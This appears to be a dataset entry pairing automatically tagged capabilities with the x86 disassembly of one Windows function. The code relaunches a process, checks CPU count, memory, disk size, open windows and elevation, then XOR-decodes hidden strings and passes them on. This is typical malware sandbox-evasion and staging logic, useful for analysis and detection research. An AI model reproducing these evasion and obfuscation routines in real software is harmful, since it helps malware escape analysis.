Function at 0x4020d0
Capabilities:
Accept command line arguments
Create process on windows
Encode data using xor
Enumerate gui resources
Get memory capacity
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x4f8
mov eax, dword [0x41f040]
xor eax, esp
mov dword [esp + 0x4f4], eax
push esi
push edi
lea eax, [esp + 0xa0]
push eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
cmp dword [esp + 0xa0], 2
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
jl 0x4021f3
mov esi, dword [eax + 4]
xorps xmm0, xmm0
push 0
push 0
push 8
lea eax, [esp + 0xb4]
movlpd qword [esp + 0x5c], xmm0
push eax
push 0x20007
push 0
push dword [esp + 0x6c]
movlpd qword [esp + 0x30], xmm0
movlpd qword [esp + 0x38], xmm0
movlpd qword [esp + 0x40], xmm0
movlpd qword [esp + 0x48], xmm0
movlpd qword [esp + 0x50], xmm0
movlpd qword [esp + 0x5c], xmm0
movlpd qword [esp + 0x64], xmm0
movaps xmmword [esp + 0x9c], xmm0
mov dword [esp + 0x2c], 0x48
mov dword [esp + 0x58], 0x80000
mov dword [esp + 0xc4], 0
mov dword [esp + 0xc8], 0x1000
call dword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
lea eax, [esp + 0x80]
push eax
lea eax, [esp + 0x14]
push eax
push 0
push 0
push 0x80000
push 1
push 0
push 0
push esi
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x402a69
push dword [esp + 0x84]
call edi
push dword [esp + 0x80]
call edi
push esi
call fcn.00403b7b
add esp, 4
push dword [esp + 0x54]
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
lea eax, [esp + 0xb4]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [esp + 0xc8], 2
jb 0x402a85
lea eax, [esp + 0x10]
mov dword [esp + 0x10], 0x40
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov ecx, dword [esp + 0x18]
mov eax, dword [esp + 0x1c]
shrd ecx, eax, 0x14
cmp ecx, 0x800
jb 0x402a85
push 0
push 0
push 3
push 0
push 3
push 0
push str..PhysicalDrive0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
mov dword [esp + 8], esi
cmp esi, 0xffffffff
jne 0x40226e
push str.Failed_to_open_HDD_n
call fcn.00401940
add esp, 4
jmp 0x402a85
push 0
lea eax, [esp + 0xac]
push eax
push 0x18
lea eax, [esp + 0x8c]
push eax
push 0
push 0
push 0x70000
push esi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
jne 0x40229e
push esi
call edi
jmp 0x402a85
mov eax, dword [esp + 0x94]
mul dword [esp + 0x90]
push 0
push dword [esp + 0x90]
push edx
push eax
call fcn.004157c0
push dword [esp + 0x84]
push dword [esp + 0x84]
push edx
push eax
call fcn.004157c0
push 0
push 0x40000000
push edx
push eax
call fcn.00415800
push dword [esp + 8]
mov esi, eax
call edi
cmp esi, 0x64
jb 0x402a85
push 0
push 0x401ae0
call dword [sym.imp.USER32.dll_EnumWindows]
xor eax, eax
push 0x206
push eax
mov word [esp + 0x2f8], ax
lea eax, [esp + 0x2fa]
push eax
call fcn.00405200
add esp, 0xc
mov dword [esp + 0xc], 0
lea eax, [esp + 0x2f0]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [esp + 0xc]
push eax
push 8
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x40248e
lea eax, [esp + 0xb0]
push eax
push 4
lea eax, [esp + 0xac]
push eax
push 0x14
push dword [esp + 0x1c]
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x40248e
cmp dword [esp + 0xa4], 0
jne 0x40248e
call fcn.00402d40
test eax, eax
je 0x402a51
push 0x20a
lea eax, [esp + 0xe4]
mov dword [esp + 0xdc], 0x200026
push 0
push eax
mov dword [esp + 0xe8], 0x27
call fcn.00405200
add esp, 0xc
lea eax, [esp + 0x2f0]
push eax
lea eax, [esp + 0xdc]
push 0x109
push eax
call fcn.00409148
add esp, 0xc
lea eax, [esp + 0xd8]
push 0x41cfe4
push 0x109
push eax
call fcn.00409148
mov eax, dword [0x41cff8]
add esp, 0xc
movups xmm0, xmmword [0x41cfe8]
mov dword [esp + 0x90], eax
xor esi, esi
mov ax, word [0x41cffc]
movups xmmword [esp + 0x80], xmm0
mov word [esp + 0x94], ax
mov eax, 0x1f7047dd
mov ecx, esi
mul esi
mov eax, esi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
imul eax, eax, 0x39
sub ecx, eax
add ecx, 0x38
xor word [esp + esi*2 + 0x80], cx
inc esi
cmp esi, 0xb
jl 0x402426
push ecx
lea edx, [esp + 0xdc]
lea ecx, [esp + 0x84]
call fcn.004038a0
mov eax, dword [esp + 0x10]
add esp, 4
test eax, eax
je 0x402a51
push eax
call edi
xor eax, eax
pop edi
pop esi
mov ecx, dword [esp + 0x4f4]
xor ecx, esp
call fcn.00403b6d
mov esp, ebp
pop ebp
ret 0x10
mov eax, dword [esp + 0xc]
test eax, eax
je 0x4024a1
push eax
call edi
mov dword [esp + 0xc], 0
call fcn.00402d40
test eax, eax
je 0x402a51
mov ecx, 0x1b
lea edi, [esp + 0x10]
mov esi, 0x41d000
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
xor esi, esi
cmp dword [0x41fd50], 2
jl 0x4025e0
movaps xmm4, xmmword [0x41d300]
movaps xmm3, xmmword [0x41d370]
movaps xmm5, xmmword [0x41d330]
movaps xmm6, xmmword [0x41d350]
nop dword [eax + eax]
movd xmm0, esi
lea eax, [esi + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
movq xmm0, xmm6
paddw xmm1, xmm0
movq xmm0, qword [esp + esi*2 + 0x10]
xorps xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movq qword [esp + esi*2 + 0x10], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
movq xmm0, xmm6
paddw xmm1, xmm0
movq xmm0, qword [esp + esi*2 + 0x18]
xorps xmm1, xmm0
movq qword [esp + esi*2 + 0x18], xmm1
add esi, 8
cmp esi, 0x30
jl 0x4024f0
jmp 0x402603
mov eax, 0x8fb823ef
mov ecx, esi
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
imul eax, eax, 0x39
sub ecx, eax
add ecx, 0x38
xor word [esp + esi*2 + 0x10], cx
inc esi
cmp esi, 0x37
jl 0x4025e0
mov eax, dword [0x41cff8]
xor esi, esi
movups xmm0, xmmword [0x41cfe8]
mov dword [esp + 0x90], eax
mov ax, word [0x41cffc]
mov word [esp + 0x94], ax
movups xmmword [esp + 0x80], xmm0
mov eax, 0x1f7047dd
mov ecx, esi
mul esi
mov eax, esi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
imul eax, eax, 0x39
sub ecx, eax
add ecx, 0x38
xor word [esp + esi*2 + 0x80], cx
inc esi
cmp esi, 0xb
jl 0x402633
push ecx
lea edx, [esp + 0x14]
lea ecx, [esp + 0x84]
call fcn.004038a0
add esp, 4
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x42
lea edi, [esp + 0xd8]
mov esi, 0x41d0b8
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov edi, dword [0x41fd50]
xor esi, esi
cmp edi, 2
jl 0x4027c0
movaps xmm4, xmmword [0x41d300]
movaps xmm3, xmmword [0x41d370]
movaps xmm5, xmmword [0x41d330]
movaps xmm6, xmmword [0x41d350]
nop
movd xmm0, esi
lea eax, [esi + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
movq xmm0, xmm6
paddw xmm1, xmm0
movq xmm0, qword [esp + esi*2 + 0xd8]
xorps xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movq qword [esp + esi*2 + 0xd8], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
movq xmm0, xmm6
paddw xmm1, xmm0
movq xmm0, qword [esp + esi*2 + 0xe0]
xorps xmm1, xmm0
movq qword [esp + esi*2 + 0xe0], xmm1
add esi, 8
cmp esi, 0x80
jl 0x4026c0
jmp 0x4027e6
mov eax, 0x8fb823ef
mov ecx, esi
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
imul eax, eax, 0x39
sub ecx, eax
add ecx, 0x38
xor word [esp + esi*2 + 0xd8], cx
inc esi
cmp esi, 0x85
jl 0x4027c0
mov eax, dword [0x41cff8]
xor esi, esi
movups xmm0, xmmword [0x41cfe8]
mov dword [esp + 0x90], eax
mov ax, word [0x41cffc]
mov word [esp + 0x94], ax
movups xmmword [esp + 0x80], xmm0
nop dword [eax]
mov eax, 0x1f7047dd
mov ecx, esi
mul esi
mov eax, esi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
imul eax, eax, 0x39
sub ecx, eax
add ecx, 0x38
xor word [esp + esi*2 + 0x80], cx
inc esi
cmp esi, 0xb
jl 0x402820
push ecx
lea edx, [esp + 0xdc]
lea ecx, [esp + 0x84]
call fcn.004038a0
add esp, 4
push 0x2ee0
call dword [sym.imp.KERNEL32.dll_Sleep]
movups xmm0, xmmword [0x41d070]
xor esi, esi
movups xmmword [esp + 0x10], xmm0
movups xmm0, xmmword [0x41d080]
movups xmmword [esp + 0x20], xmm0
movups xmm0, xmmword [0x41d090]
movups xmmword [esp + 0x30], xmm0
movups xmm0, xmmword [0x41d0a0]
movups xmmword [esp + 0x40], xmm0
movq xmm0, qword [0x41d0b0]
movq qword [esp + 0x50], xmm0
cmp edi, 2
jl 0x4029c0
movaps xmm4, xmmword [0x41d300]
movaps xmm3, xmmword [0x41d370]
movaps xmm5, xmmword [0x41d330]
movaps xmm6, xmmword [0x41d350]
movd xmm0, esi
lea eax, [esi + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
movq xmm0, xmm6
paddw xmm1, xmm0
movq xmm0, qword [esp + esi*2 + 0x10]
xorps xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movq qword [esp + esi*2 + 0x10], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
movq xmm0, xmm6
paddw xmm1, xmm0
movq xmm0, qword [esp + esi*2 + 0x18]
xorps xmm1, xmm0
movq qword [esp + esi*2 + 0x18], xmm1
add esi, 8
cmp esi, 0x20
jl 0x4028d1
jmp 0x4029e3
mov eax, 0x8fb823ef
mov ecx, esi
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
imul eax, eax, 0x39
sub ecx, eax
add ecx, 0x38
xor word [esp + esi*2 + 0x10], cx
inc esi
cmp esi, 0x24
jl 0x4029c0
mov eax, dword [0x41cff8]
xor esi, esi
movups xmm0, xmmword [0x41cfe8]
mov dword [esp + 0x90], eax
mov ax, word [0x41cffc]
mov word [esp + 0x94], ax
movups xmmword [esp + 0x80], xmm0
mov eax, 0x1f7047dd
mov ecx, esi
mul esi
mov eax, esi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
imul eax, eax, 0x39
sub ecx, eax
add ecx, 0x38
xor word [esp + esi*2 + 0x80], cx
inc esi
cmp esi, 0xb
jl 0x402a13
push ecx
lea edx, [esp + 0x14]
lea ecx, [esp + 0x84]
call fcn.004038a0
add esp, 4
mov ecx, dword [esp + 0x4fc]
xor eax, eax
pop edi
pop esi
xor ecx, esp
call fcn.00403b6d
mov esp, ebp
pop ebp
ret 0x10
push esi
call fcn.00403b7b
add esp, 4
push dword [esp + 0x54]
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
push 1
call fcn.00406f9b
int3